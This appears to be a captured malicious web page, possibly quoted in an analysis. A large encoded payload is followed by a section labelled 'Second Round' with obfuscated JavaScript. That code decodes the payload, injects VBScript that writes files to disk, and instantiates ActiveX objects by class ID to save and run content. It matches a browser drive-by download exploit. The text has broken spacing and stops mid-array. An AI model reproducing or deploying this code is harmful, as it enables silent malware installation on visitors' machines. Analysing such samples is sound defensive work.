4Aq2p/ZcG4QAMC9RkajvUGR1zI73g0/QhYfb4A3i2dOzu4QYkxKEWZgBhiZ7g4lkqw=23/h7K4Qa0gc4vixggg

gHV2eGpiaK2oppyS Pky+lKwX8hB1ca2gyNNgvVw/9j2WXggngBIrg2pPgRvfi+w7eZfMmmv8ysl6Am3wakioQZ

wgvgegkbUa9oTiTX0GwtymKRjVoFLkjsK=6UmG8gggnD8ur+0aPe0O/3fAKbYa9rGiTeExfdwAkNw1hzXA2L86

DxIAlgMrUHYkjuxeWuwggg2njE0kdHDgyjNUi=+zrEckZCTYTc+xVQrSngf6IbLelkG7viqFFdezcNpggge6ON

ZrAUImoIUJDY2+ 3lhEwKZx1GAb1xpzesgdnwQUh3VwZ099iZpAOG=6xmNHGuHiQIoxpIzPIbJ/jXxhkESzrs1X

0Qf8l+eK6LTeOelEP0S+tJ0HSC2MMiQzQThwnVtfVbXuXwgrQOea96YE9b14d9yJX1PGodVUCA3V0k9RnXAuUA

iUOjB+SIy9ir9v4oXh0I44Ruxy4pmfKJ8Xkz0HniYG98KVkZkTerSUWXp2mHafXmqX7kxFaRRAXmJAn8gnr=gV

md=yI71+bMrt AI=VXURRxOUhX2ngL7UOKqnUZvOVfaAHRRCDLyr+VbJWtCghsGTY383VLQC3XrPEiE+SHM0E4S

Coe06gLJ9TL7/+HI3eXrBDrx/1jDCMzWHTLSqB+=a+2QJt9JfIxggOrc/c+RJYXF=QrYpYNogQrsKFNkxeBRCi

YkWQr1jvA8GgBJXLu8utGbJxaInoCBBbWcDyjx8880uCjqPEvb18oK=zONJFU8ouNijPU0IEFyRyToGfiucd1S

qHkU08fuyt np89DgIVchkV7zYH9bGz2k9NC+Py1EC2dkjsKb2esOfn+ZOPk=JWMqz288exukcr9SLMrb1zwmjI

g2glmQClaQqSkhOzD=Jq9+SllwqvzPa9=0LDtup2HUXEkttlmQjv7k01rcpwrc1G+myO0QROOZfUnbMsP1n2u8

OK9U1QrTgneKJdrdu3MwE1hUtrv8gqipx2=QKOJ+v9rS+cSEsS=9Cp2lgdtt+SEiZ4Au8am6iKwHLd=fsjKy1h

xnggOiZV gW8FD06gEDPQrpqC92YRAIh8J2CmOOAr+pYH90dhd+qiaGnnveIctUpgixsYpMvQR8LJpvwyEILFtU

/bZXXJgQJFcZjHSr1p1jUXXVIgsiH4ht2StQ1U=dKgOuJ2fuv6L4KaRyNM796MRIaJeaNI2E6uSusyf4ZyMVoc

hGkUCCoSr7vZy+/j0UZXBgPXEUZwIZVShhkxECJtdP=rKAHPKwhJ98wVguFnWAuAyfOrBSk8wcKEqu8CDgc93m

FJemMdAULZdU0poX82U7pj+Hmw8M7SL7R66LjryryU3uNVUBCDY9csTdy+1AZFLukLB/Xxn8nAL6oc7rcaRrRI

V+hH9ZgAA8wHRgJnsIvfK8XTDiR+ZXuwluI+1+Ru949b4dABe1rNpuXAKu1SCwohgF1yXgR+GZdjNf3cAo2bGq

eHvx=9l=a99IEcXgeM0eoqzyljJTT1+xQrH6Upx7wenDKU7+KhsPCDTlqjMb32Aa8EB8KMJrvIDZecTohHxUqI



r/tu EN2FIbKnIu+ZnEOhBrCHXgghvqo+cST+vOrAx4LUh30rqO4+yptr369YdfpsRW7w/NmCkJoGWp6/d6KjkU

+rEG0a=1ERzQgtZSXAfRK+Vhhapz8B0HC6Hn6gGBJfEpEDO+LavirB=pRZ+pyyxST6Age6Oena+R+X+t4zFIVV

MpTCXm8VkV3EFs+zOJRBGVC+Rniv/iBp1Ujk0huVlB8dbRdVdXyjYPz+qxaYg4t+874C+loEHHP9EPqsOVAaCg

rC rh8nuHgEcGPE8HjLoqgAr7w+yv6UjO6buYGwxQDf77q1RZrf6ttEyBRI4GDH22biHUyp=AHSH/HJBbUe2kpV

OOnHyKE80cWI3wEYm3xKm4FaU6jzgkd+ZIpBDyPRY9tMp0zuptboOLpr3xZMnSCXf3XbAVine7AholWWyV2X=T

TXhePNV+z+Dr4N0QJrD9yeGAusaVGampeVO+7+xn07+Y+UdE19tVaUBmO+GlBzH+y=k/LyqLH7DmgVHNaCtwd1

sLKlS+9wWrbD8gote9sdlV1qX3KC+pIA+DWJArfDv1NTRtkRi1h2tSCvIp0DhOlKaVC8H3Q2pBLt+VgXfjnCrQ

Ywnv6+C1HBdTp+p+n+q=IijBwVvHX+rGos7R8GpnuAblUKdtDQEtGXw3Er+CniTWgdHgDR/zMB+Qn1UIobC1JQ

27sRgVgtzXm2QkhdOuJE4YYLq7cs9Nnhz+L+ypCGrt/qbICpYPv+ORX+jNKn7y2PfC7+Tj1FGNs03a3VwgOc UL

mRohyybvodd+VThjoxooNhx71D7kbHfKuJlJv0Nyf2+kBpSUrKyuahRWkZDZQXLU37dEaKKWYtXwqxi8UhB++t

YwRY6ySYVKQbgQ6eLzy4CI1Oz7JdT8YV7g+X0I0YD3+YkFKaF/3+0bbgZglx96nT4XUiFUPpaN2tdaZYVsRgDX

sKVUN=qARssbeRRyqYiQa0gS4M8F8208xjYB6=+1qcXLNj7WmZXhgeGbZDlBHf=N9/p+qpmVojTbfYgmot XeXe

8garLz9Ynj+cZaYVs0CY90HHggZwrlPeg3eUrJqdaVJASafcP2fopyeYr/sxvW9XjpaBUGQlXegoY4lRSCNIQE

JJUN6MOyZd+D8+jgg0V6vJ9Xhc0+CkaS6O6yu4fegggGNoXe1LypyrSpxN+1L+HCOjqWRXJGeI7ES6WIogUNCt

+yjq3b6=T0Aspd1WKcoGsgl9vQRXDE3VOsCGbkxKH+ppcdfcL=3PH8rJMVCBouCj+aw7zyJ14Sv=x=aq EpdqtD

tqVCgXe=jrF4XM9JihCTUCKpxMzS1TrLUrDtubAB0wp=T+EOOIuBgen1/bc7S6lTJc+97bprGKaisLr=JqeVtZ

y/nzD1FVZrxU=7nSq=aSJ8XnYVbV073prInpU7U+DtYrgXy++Z3tLNBUFJBvOCJG4DDVVUeJol/pZB+CmUKDc+

/qcXuMrPcGVVRvFk9BynA4XSC39gZEPET1mfbA9cZDpd0qDmCqjQjkojvH9HRdlOEAf98fSmDpWxZR p4b9iq2E

y=pN4qnhDzUqpfky2Vu731znuK0H9pksgD+9e29prdqtVmcL11tdbXj/96wOigKOK1Eb2hHf0tY+cKuSg26opu

taMBOSDUkZKkgR/hw7WQTEU9AHv9syg22rIFNYzLVYxikU0bhQEqMrquPUxm0AlfD+otUlfsGUelQJ4eEJ3g9y

tI4F6FgrKl4c4JpU4Qqgrf0aa0d6ukfE9t+j=1YSANpPHvnovf66KWOFsL=t9+R+n0lRvppVgsJq 9PJUzOTd9V

VDyzcpLhdJW03qTv/dZUzs+jUKyNg9O10um2ljD0zbNhN9A4d+p4oTux8nuHhJfLYUI90Vc7QEo/+RDCnEwXh+

qJf7qqWL+ng=B2URhgTOs91+GRldlaRVULUznXHBmSCYU7HSHavdpkV74QgXUQapqO9Aze921UoaY1Fl4LqOrk

qVGkEUlQ8ddjaSAlS8YpZzcMYGkPafdNlydrLDrAJmaBAqqC=nUg9xGI3FNOmCluIsOvd1i1KL e2Jtlvgy=Bor

cEaV3KxZ23fYUnPVgrcD2vRO/bMaBARSHG0fzedjDCPK80yVIsay7NqpgrhfK+gCh3NQFNCDb9gFVkOBFuffDZ

cSWoCCNuZ9DRw9CGMov/3pH7/dhc8R64AgK1g7hJMxhpWMFGPRqXHBEGAX7Z6Y=8brgkdXJOEI+d1Q4QykkxEF

/qUcU7oMZ=U4=wWDlIEE4r6VjL8i7r3pOM0Gu4n=BgsVEDXgC9p8N3pKBzRopWPpBfSry6xJ WPFY1pSAHhRzpy

IrL78IRrgwz7CNsRFIDfNgvwpVdoEPtcBGVLPU7RnXuUP9=iWpqN/2gh+=r+hqJ4JZikhLEqPdr6Pq3GBuhjCA

reR4t8zQrvnkM+OQHut3RGFw+4zoIRP11nyjxCLhIgQlmT+HdYPqVVdTQ+vt+r0CvlrcCH27dP2jbSiRJX8Egz

P6MO1T149gn969w4QjE+1Jspo2EjLWFUzMOuL9OSW0WrU==qggOYk+ZN+s+aUzOHqO+TDpeu9+CQQG7EgdqV9Z

hpZ2JEv0ZzS6+vvS/qJcXOzay7YBOBSwpKym0iKSMKieYAPqLc7sZuElzEHFp8H1JbUWvou=hcWYQi+9ncgrm+

SH9yyFFtPlW1oHdIqHJtIcpzP2TTfVH0kAj6zU9OgEz8h4c+7aTf0=oPOt7iVyUuewGtIZs9OPOoQzHti+FwuN

Katcc7xUCKxbHIeN90IV4OR+4yPp74pHJiPpxpsib6pnE+tGu+SUw7CcbFvFDrAQ+OFm +777iCUq4Ej+=9nOka

O+sV3dp6mK7Q9VZKCNDp1eMnqkLahcpMcL0xl47K1CnuYQduo2c3qdPZ+KtpFp+UGeH+Rci3bpOKdPeWZ=lN7d

84vKsh6r3879+ro+ExYp4LrjQA+pkxOj+nFDuwwTpUnAFMysKfR90AFGVBAwvcyqjsNYUh9c0D3Ks3ezUY0KBJ

qRUH10mU6nM9egFJGRUfUE+qropvm9FtERDSaT+oWGNLRcDSqOVH9c+1u1OZOEpnUJWK1xOWXRCyFpwXHCNpZe

ZEEt8lN+X6bo9T0QG1AD0+=JCZ+rOdyg4SlEM6yb1tfm1t9gE6k77SDc+A9ZzPk+Gzp9HyVjaA=qy8hOsuHum8

sTgIu+ZlLV4gXPLaAFYMwZjHCxcqsOIp9ipEpo8fPECyXjaqIYD+dcxpM7CYLIpDa11q3Sk8bjntS+0J3SVEbX

rS3a0BojRgZALp1Q+FjihC3uh=oI3oKZyzlXOvf0xeTPB8uimutOcVKtMvOqs/hh 0nK9cZ74xi0AG9pUWiDUZG

GQHh7PYX6lEhzrO9y8tZgU7dGndY3fYa0dpttb3oOeeXFQYZz/2DNJ39Ac1Rrae63=Br0l=1JErys6eIxbMtO8

+OIi90y6vlsDpKySW+rqKnG+boYbf0glxcyW+cuFJ2oOeXKFuGJ1UkSYKYzDS43l=DNhY/nyhpz+FeY1pi/qCz

y/Vm7OoUu8oqIEMYvnqtj60+uJZ6hRzuEKAggnhVK0yr+xhLx6D9nOrHcfsNKO MYy19+pdGoEXs421Z64K8gjU

uR6MDDk99rlRh+vWqcWSVOrlHIfeuZTIlCzSvtJBpyhHOkJ33p1g4hoAszIA+Mg2R2Se8K+6OE0SOLSr3l6luL

bqyZ++szk+=9ACX8j+1ztR1AdYEUb7K4RQx+pCJZ9UTiF9kUHmt2kbr9tVf36WTlgH7twR0p2T2TulzXnHGWoj

=KFG1mGARMPaVaryh7SFci9QVrZ91Lr3vUPTfFPaDwm+D8O8zEEBw7/sperK U0QE8adrkp+0SIoZVrZeOtmYyO

qJ/u83CtdCJOrljPiCt77+jJtGx=GySD/BGITdMrnqKe9ZUeBvUaeLtyNn8+vSVUXzndaau1LjCOECzYkNxpHd

POY=49reV2wl720akpqSWrFBELJkNSGTK8aO+NDq776ldMjFOYh9A4c+lZUBrsj37ux64tQCnpEoQxo8HDrxlL

odqkyjDonEhYpY=uSGpL6IZlTFq0vyYlotuMkpHFo9vkfVSU4kuZ2UFAG2 xKVAHI94T2CvzjP7GW7vKtFM/orF

+NC4xA3xWPj4fPMmliydrLUKnefUwFh93rOs33eeOFKJhcrxsWXDjstYGDjY=VrGRBIAxCaapvxSktVAL/du9c

61D/doqYf7/Hayhe7KR2/xPNUEKEu18ryRyz8vUIUDOaYEVK9je6=CC9D0nhkZbB0I+3RTNGbT8mjmxFnpmuIs

+wRsfww983H4pd2mza2zKAYIpuo2dgr7md7oaSzxjQ0MlRenUsw+BZUG mQpWD4/QFOfqoHG7e=mubd=IPQplQK

/T07oiF4CIV0qRkUl7cbk9DpTapSfBeXtAlKSvYG/ejzbAJyIXpFoUVfkd72Y13hE4xEpKWYFf3FUjCwE0DpPb

/hUKfwWmXHUVipWAj=F7uIbQNflBHTg+PzxyEc0ArxH=DpKfiQD98vKrGTV6F+dPJknRZ2FXAEI6x+ibg++XrM

q2Aojq=IY+fEJiHaW0=U9HJxRD2NsxNKApUGvgR4+Dm=U04AGVkYCDXXJYoj3gkhIQragY2p1rWmXr28zOd6fS

FYorgz/AzQV1j0hn91089qhpei7Bu/ctk9Or9iV7CdPk3tGH2iymuMLESI1Gu0fdt7iEfmDR4Tn3DqcBVIScz+

7NM7IeT0tGr4q1cJBe1GdryS=YcOEekLP+Guh9d9qydaZT2BJeP8Lc41BU3Cqp/h6D7JcyxIjh9zhLdYRqde7f

TjTor3P+dKFq+kWkYoX1t2WwNkERGIC6ycOy9ygX07U0Mt=x28Mb Xhg9vEcBv/NgfkRgAemsZc4cnV+PA+XiFK

jReWHC=ISShIRtlqoRWca2hahpR=F67hg2WqmeHpHwBttVGPtX6WfBBYQXBRqIhO=VrV9ENQ=P8j6PkaI=DygA

snRDLdElDeNOGzaUxfIOJeGcS3LAOGpy1Tq=aUe83dPaUuE8bZuo1IEvyB2RttI1T0CDb0Z1aFCQCE1M2WuAiU

JMcIuBHGc+UEzGCi=pURiqOphcR=OfV7SqR/AvSaAOrh3Qp3eV aJocD1cd2Gx0jvRo8HfD0wIwZaX6Ph/rOUg+

7tEUfCOnjpvS9lJCVxkG+j1L6/NFnN0DD9j1XE2RbppROWo9fKZhdeJgbgKtP=iqIcqrFfhbhC6w8ZeH94agCL

tqFbIkfxncfwpUsU4gmxYrHK1fhZ4FqAOmYBmnu4AQFhddv1OqCecrLFuSXco14EVvYQI+mr4caA492ffJVY=j

1T=qVr8gp02+tXV1C6QVkeHp73XoezZMX2Ip+fk4t0zTJMjF ATugYEqOGefghyKrnd62gnHVrOVUZZkQts+wtM



KdZtVaq9662nyRorVfzq/zvPdgm4UMNLtR9UGgF92vuEMHudn+brqL0HVrB26zJpx6ZDqxDUr7XeKwyJqY84T9

qDmIyLDVZIRgktEJh9=U3U0qA7p3vzYvpCcphpa7KLmBSIddd7N4VYcPKYtTL6GHG7DfN9ZokB+XFTJ=tw+Sek

hF1eUlrlE6kNOmmpTc+bMbbIjGbKRKCI+EdCZ+GI1rztxU +h9IYII3cdkKZBRzbG+8j9lOkEhrU8rqSIqPUEUL

89LrAEG8KqBqs2Ut+k7rnEecY6eLbOIblEnKqzy33yqUSIUpyXBp+US0sMTAsgo+HrqtyqeRfj7e7+qBJVZ16g

ru1t6bU8yURWOO11N2yk9G9ZuEcDpRjOCjaksBeB=gOL77dJuN7AGCA73UEtQdZrc+1drTLfuygkY1ZKCA+AI7

mUlQU+W0/UqaTOF9G/uQ1prqharR9RcJSWo+buT0rj24 D9xa6fPCe/CU6FrMCu9XEK9LjDWq0zp88+16jAPolO

aLRjZWhVho3jR04aHdfqspcTnOfyrpkf0+l84KjuafEp6S3FPH=eZIzERAexpdOuXyaJ0Xj8ycAfrANY7X2MuY

iSDOksz1RO=Lo71HSvkA3TKw+Ek+6Yq37ad=RVLnxHZ/Xp0J00HrZZksd7k1MPfLARne/+0TdmqeXppvncsOrk

WgGRDjkYq49jKNFpra=NnCRR7nf97lUp2E=9NRNQnGED7u227D2uxaBOInEjo1D7Ae9xIqpQzyw4MbDllD92Ot

mtiI+EpQD9p4+y=tib13uqty0AnLs91JHGeQJcjvxfNDhlZ7dz6L31nKYeBbXr0qWAW/VBx3X=ijB+OrhrCKvA

NCebAMq6EEhQboVw7FPpUsks0WZK7G1zCBKGTY0w3Y=08UsqXZwzDORpqpqUKaraOyT0e2r/6UrlsUqpYX+Z3W

hYFxSV3tp=jZYs6JXCPfgHRU4wjYYsYVhtLCZpsg nGAjWys2W7rUcR6tXHwOzLJ+AA+NpTmgXgeYUVvLvWGAs/

sVhK4+AGNVODxEUmUExggVO=x+AFXP00sBnUJAUfYw/wg+elkjM9G1/JONYPCprDA7ijVBY6sZB6f1XMppM9z0

orJ7d+r6IO7i=XxH1SJU7A1unXrrOCqgWEZ1pmK+cUvBGbKkEeJRpuxRFTKCXw77tTKMnV6qdg2wpLsb+cDTor

RqEBK+K3GF=dKyuME1Cryqkg91g9Yb+4Qb+pXb+lmFqOFaCrT+ert+cv91OQKEO8gK/ZuJeoNUknRUMDYOYobV

eJVFYp=Ib12ISfNZ7ZZScrEVJaJE1kDrhroGjgaVr7L7Z91xyoTq2dRgK/jXO4s9yZoDOA3EqWu6HlnET/R=cD

dDrEUa/qlqIqJA27ZOf/Hu7kns+kQetUvq6J/NYRfyjL1l7Fq1II3uU/7rKKno8BoXuuFZZD1cUNn913EUtvCr

UL+fHGZ6vuU/H7jx8fnOZ=VEyc3xiqOEaCDU 7xXqnry2LT1PGzPLRmvUFGVAe8gcbp+YcWPOfMJVq++7dh/+nN

P0l6z/Sz1Y9ps6+D8XadpPAj6f3w2C2jNc7aMusO6+ytW23qLR2wFVDs9+bIpSYFB=Xfno=Ic1=ihkpDVROPRu

mQ1Ac7phuU+1uf8UGwuFWIEzrUjv0ZqPFdDdT=oR6TAgEx8qU8qPu9L+krYzFgNm+/9qR3UdUdIMI0jl+t4sU7

LlUlKNjjvZqpwU+q4fgozS+boDyi9pUTrk 0V1CjK9DwPusP9Vnq9JIUO++wptT9+Tad1+dzVl+EPpfrdc9qcrr

1a7dZYc6zsybL0hxm2ErL+qUvQJQNfwabr1SjFXEboATzrRSgPFAqbBg1w+nWLFP+U0jWpqrLCK=xg=p9tLszr

Fsv7BJGcLh0XHAOpB4CrIRk++bqrGCZruSJWIVhk1ldK80RkDna8JCrfU8fI9qimCO+++wttUrl93MK0+mjQnW

fOjEh+3+vv+dsvgggL+mLv9mAXxmthS2 GlT2AozhAnXKSyl+S3Ml=S2fiVngOUleUzXR+Y4obIq0d61UOqmOJO

Xmd+U+d+q1BUfIJ9tm7lPM1xC/NIN0bOqHFwf9lfJkvpkpMUQwoP3ZAJmr1sScQKCm6JINkyKUd9qdEUJkvfJC

qic7WQRgvgeJamPclJowZabwjOvtVi4eRvX6gGgqkAMA1J0zWaMeWfcQ+YFw1M4dcZ6G6hgsRMkcya872YvzO0

YeNFFeVGMwUe6og081ZUkQjGbfNMIA1r/cWfIyoG4gL/hQp6FQZJM9D0ceUJmG66vc2Uj7jD0wp0yfonjUN6DE

cRJe3dtmjQv0r7XdOIwR2v2XDftQjam7Zai6BU96Yb2ej0OqnM2UNWZA6/2QiIE7GWyscp47OsGeegX42GmfRd

ly1MbdjMwQZ/MRQB1M=9FcFZ9e2hjn2jAEOGvehYm72O2Nn0no+bIWXH0lBkf3jG4AcwT3Nd6wcRqKCirdpG3V

u68v3EwKj0OAYuFpipxQGHmEwIxJ 107LTdGEh6bwk1Yq4S1FOj1dRd9I83ggHY21+t7+p9OEl+=tUuO9l+Ptq9

OSlqgggggplUTtd9OjlUVtRuOXvEttTOOt3dQtZ7DFqRZtezDVvCgggggIvTBt69mGq96tvcvp3JntK1v4lSFt

Bzv63xdtGrviqxXgogkGqxBtgrRJ+Ik13pQJEukCvp+S3pHJxggggGtJd7kr3=TJa1koq=2JJkkKl3WJ+401lc

uJc+0jvYBJXggggHqJQ406lZMJ sK0H3ZHJpK2d37VJ4t23vwZJMk2QlwBJ8ggXKbyvvQfJ/r2u3QPJoI2Kl7tJ

mzht3zLJkggggggJ0zhXqs1Ji9hMvsOJL+hk3XAJHIhG3z3SUrKTvrhS13gggggSd7K7vF8SyOKllVjSaKK/lV

bSC7K8llRStKK0llsSS7l6xngSSKKGllHS+Iidv44S37isUu+LJhjgcIO73UfSprO+rORGqELxrEgHL0kbVfXg

lzpSUfFyqrrSEpK90bng=rKC qrOS+UqSUIg+XVgO0ZHtXkDtl9htIIERq+ztE+Of=ZggmpOTqU9t1OOeqUOtyp

Osqq9AlenDVfZSONvRER+UiUNjDzUt+41m2qwe+69jy+u1NI0hhcCJ+Yj+dt+ZkY6EjHbBnia+1L+3rGaUc7Cf

vp+8smOXHz1ngKUsrlpUOzgfLBfrfI1+jN9bpYbncGk+Jw/+aUW3wXiePIy0RYwerUN+RGc0F8o8o1k+v4ypog

/btJzridxCkpqOyYlROMlf hUxQ38HpIM2K+dBKkp++qiji4wFxK1lUdlZApLdyj1YzDGF701MZcrnI+3HHnHoP

tHykeejVMpUgvCjV+YP+QPhK8p3v0SrHWKrvpw1c+YzAOZ+diJjYvy2HPwk+X0Ecs0+Z0KxVURaHuWy6XuCfAr

DOxTb=1Fz40kVPF0ZY0+3GB2Ph8efZKWpUoFPmFyzhdw4ZDGyc0YobvzZwdzUTpU1Swt7ELhhgOL6SAFhaVWq+

XSYMrH2dDc7dghbeZtbQ SNy/dhgqrARSAi2hiT0G6btZYbyY0wC9y1n0gngu3y=V4egVMXgTAUszfG6tzWUggQ

v=fHyguWjz9WTOs4ELPjakpdneDyNLPfsMLIxP+nblcXgmrsyYpqXhK8qVAEC0rQug2d6vtreYmHhRuWUVzbTf

Ce6g8LigvDUX+7LjWLEqEEa27rxKbFoZmKzmEP+nO7cy2DiM+7ccKrumdJuE4prrbka7+p7bIzAxxKqrHNl06u

y+FtYFy7M6CkRVmFhi dvvK+k+BRnDVH/pgUrVBW8I9ClI3r1PM+f79Qo3gA97c+pcNGFlvh7yc1mtU2LtVGAcP

pqzGVuIFywI9/mgjO3qRrKHr3H+zm/2e8w8CIw1UEUBgOz9k=I4ctEvNHNwVCa0EEMm0NsvwORPTd+QdWphf3j

OqjsIx9Z2O+en2y7fTpFpYMjJFThJL+1i4q6ka+fAGKzf+TKr=4GfpIOf+dq8UNbBDod=Ud+/N/f3iZEBE3L1a

d/X4mGYxfKUkqyor /MRrNgAqqGSrnGLyerwJ+yAgrjPcNR9+kSFARd1t3lSVRhXyxG0KL7qVzY2HiYKK7cnXLL

D2LfFAZrIKnlpFe1feWDPqMowVwRcq8lgzXAwcuWVEVbLjY2UHcMcckwk1uWORNx1hPfPad47SFm6=N2KdbOqw

stRbng6vJwe8u+vAc4oQEKbZ+qOGH0lfV4Kjw9xFAa0JYK+bocqAbbsnmN9ZE+7bI1x1CboTIsTpk2m+vqH+hs

6KZeoWjapoyLyZ Z1dgdF162x=jMMhlnrtinu9FLx8RdAOun8TKwLlfqYean3mlZ027CW8gR/46yOVj0+O=7CII

r04yxrZffyyFzlBggHAeQOFNKkac+QhA6YXfgc4Ud=CdZRa+ogTXpqabrK/3u2JKJMNsmz60eurd=8IkM=eEE=

K7C4cNs=ny9=KYUtaMEqr4Sgrc+/pozYH1mFkA9Nt3pz3+r=7v1NCUplKwPrWetFc/lt1Eo3mgk7dlC9Iicj+S

va0EL7uDgn7+ vyEVctClwS+KnX2Gghe+kHWryIB+pHd8FQYDsv6J8bJpDNim+SOB=JTC70G2=7Upe28X1i+4Sp

h/+WFoX/XUJJBbt+sjgzFhnVkqrvRUz9xsjOU=ZSCe93R3FFF1fTpnqbKgq1JqKJWOpUzuhMOk7lrGnBYx9b7D

mOktksO8c8Rlmgs7O1vbd+lqs6d3CrGrRzptGarJbIEEXrb+4b+SdD0GkcqA+SODOq=rOzq/3eFxKUOVGEqOrX

Wy2fg293sx 9t8UCr1agznb9c+eCbvT7bYUDZXD8Ba1Cr+9ryChEHCdnl9TRV7Cwbi1MGrr6gOalehrzA3+TmTa

vZj08bOgiAGw8HPrHLESXiHnjd2UfzFtc4HZ4wXbEDyqRnNO/BtSUSpZWhLg8LkhdvBqGb0QVUwoq9yJEbPK8F

FIjUktmOoCpHYvkelQB1G6qI=Ha0E1Rm7kc+OAg6lIzAiFGIdD4pq+4ygE/j+KU2q8pjD4RDEumZyNMh9F3s/A

Mbn4zlBy KLdyS3ciCF1+OLf1tK4QxVDFZSFho=nH4nRE=gnOPpiWB06Qjf/c+UpkrtEwr8QOFVvvOr4cxg3NTE

qle2++MIzde=muR+F3L4Wd1qe/0DU1rlEqQK=Ljb+h1zbbURl4+JjMI2m7Up4HUZ9dnrqKzOj+0LWllkRUcbKI

dv/UclIZ99sVE=g+oO+EA1VrqXSw66kUdx41pSOPUJCM4V9Jmt+ggGg9EikeZ+b7NdoCNfFAEi8eR=dbwEVrwX

gggggF aSTNnH0/CNMbeEVVuRgbCTiuQZ2b9TT6QS4/CSKuPqggGggIB=M8nNKV/T48OoMiJQpVPRmbnslI8VMo



BZjVPkcQHBMHBcC9ph3qhHqi8HWbPjiIo=0HCjHbKToFwjs4ijAnnBGXfbGpCVvb4CKIoPBqnsmuCXg2mn7/oL

SOiPi7wEgboS3o/XjFSg8gXQvI7slCPH+6nPl1UHfIB9st8sjg7TgbnxjFpIoqV422R664+GwyqSdN9R68X2VI

nb=8 L20uoMf9+r14dYcN++vEp9r+hmuVrPppp+1MpdO2YUr1TEZPC++p+U=Mu=PUpJp+jEPKtIjLKrUYha/LS2

2DQ1TcOfMz+wxzRYbXWArYzrUEYw/wZAxwW19ptOWZp1+DEp+jOyDxgQgadf/726qehYbA+03QRGmAdUFARrE1

Et+tOdnxxXqdrGUwRfm1OLUV+M+V=RbUEqstwIU67L199IUfRczr+E1NL1tzCBU+tpUegUpz=cUzY4U+31r+Yz

UFp31aquUSeB+UtpUJODyjD9p=fxaMrf1+Etgv37=EaM6XdaMwL0V2OGn=2Yiz41S2ggMR70VpQwpfcOUE++wZ

49P2xCg9s++lK1C+p9w+1KUqUxSA4khZ+Ip7+z+p+IEI/Id2O91tOztk+yWn90J+rcpCrzpgwQvw+78rCruO+d

9g4oPd0HO+pE7+sLqaUHr+p+7pkG1fAsnIEg9g1voUEtrnenhfoF1pYp/s9xnP0ahiSnE41EGpMJ3Np7X0dt2=

yUcbt+bQjZ8n1Qk7pqvrytWNK=Jzk+kz0sp3vrwp+w7zFleMaDJEiG7cEAMwC+3y46CIEAQOpnF+hJm7Bx+agq

q6iazRLmnOp1+++++++++=+qg+++++++++REH+CUU+92H+RqHg0XoEiETU4Q9UkzU2hcyVDBqn8Of2hC6b+1++

++U2hcyVDBqn8Of2Dy++A6vnhcaVDBqn8Of2hx4tzNqB+JmqzyrE9uRfuxOghfkVzcU2hcyVDBqn8Of2Dya+ A6

0UKIsrHnL1AIfmZcrppyeApsCyuxbgUye1z4U2hx8ApNCyuxbgUyezH=qOpTUgpqvggHqkpRJdEHqgXD2qKuEp

uryfkM0GHMlgggg49IErL91VpsqDO=qBpfhLpyxBcvgggGsVXsiBVt++9uyfmvux+dhGK+gUZZmVOsTZOfNOsr

9Oz+pFIp/H9qoB+yOVpsqDOj92SCwleK+O+1+VOzaOypLV0L1l7pO+S+U++yvc9xyExHjxS+U+ajTUkz9O y3zV

XMZ=xTbYXHjpS+U++W+A+sa+KxqUS8FgiwpK+1+VBi1K+1+leK+LxggbO+p++UpYRu1c0Xg072yyO9++9+rXKU

rTyG7cdfpc0Xg0YFFlcp4rRu+Szf0HuxIrSM9zgggISMU+C3/ppUp711++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++

+++++++++++++++++++++++UrL+1+xx+U+++++++++++++++++RhO+pU7L+1++++++++++++++++++++++++++

+UBL+1+Vx+U+alO+pEuL+1+68+U+t3O+p++++++k8+U++++++UCfYaSfcOvtVi131O+7jf27ZU/tv9bwRDI+++

+3RGFw1D/7WaFzWMU++UywZfpzNGlpjf4zNYvzO++YNMmAyYFedUmehfM7hp++dw/zWf07jDUeRD87O++YNMmA

yYFe1wmwjc+++UdsRMkcya872YvzO+++daMwkGOwjiCwZMds11++++++++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+++55"}  

//</script>  



 

Second Round 

 

document.write("<div style= \ "position: absolute; left: - 1000px; top: -

1000px; \ ">");function b6(t){var 

c1,c2,c3,e1,e2,e3,e4,j=0,d="",k="+UEq1dRy9aTCtJSxpf=3cYjZ7wQezAsXrFVl4MNWu/PoI6b8ODmvk

02hKiBnLGHg5";do{e1=k.indexOf(t.charAt(j++));e2=k.indexOf(t.charAt(j++));e3=k.indexOf(

t.charAt(j++));e4=k.ind exOf(t.charAt(j++));c1=(e1<<2)|(e2>>4);c2=((e2&15)<<4)|(e3>>2);

c3=((e3&3)<<6)|e4;d=d+String.fromCharCode(c1);if(e3!=64)d=d+String.fromCharCode(c2);if

(e4!=64)d=d+String.fromCharCode(c3);}while(j<t.length);return 

d;}document.write("<script language= VBScript >Sub s1(e,fn,dt):On Error Resume 

Next:s1=0:"+'Set k=e.CreateTextFile(fn,TRUE):if Err>0 then:Exit Function:End 

if:'+'b="":For j=1 To 

LenB(dt):b=b&ChrW(Asc(Mid(dt,j,1))):Next:k.Write(b):k.Close:'+"if Err>0 then:Exit 

Function:End if:s1=1:End Sub< \ /script>");fu nction f1(c,o,n){if(c)return c;var 

r,a,b,d,f,g,h;r=null;a="try{r=o.";b=" CreateObject (n";d=")}catch(e){";f="GetObject(";g=

',""';h=d+a;eval(a+b+h+b+g+h+b+g+g+h+f+'"",n'+h+f+'n'+g+h+f+'n'+d+'}}}}}}');return 

r}function f4(d,c){try{d[d.length]=c;}catch(e){}}fun ction f2(o,t,n,d){for(var 

i=n.length - 1;i>=0;i -- ){if(o)try{o.Type=2;o.Mode=3;o.Open();o.Charset='ISO - 8859 -

1';o.WriteText(d);o.SaveToFile(n[i],2);o.Close();return 

n[i];}catch(e){}if(t&&window.s1&&s1(t,n[i],d))return n[i];}return 0;}function 

f3(){try{var 

a,i, m,t,v1,v2,v3,v4,d1,d2,r,d,t,f,x,s,c,b,g,h,j,k,n,p,q;a=null;m='BD96C556 - 65A3- 11D0-

983A- 00C04FC29E3';f=' - 0000 - 0000 - C000- 000000000046';var t=new 

Array(m+'0',m+'6','AB9BCEDD - EC7E- 47E1- 9322 -

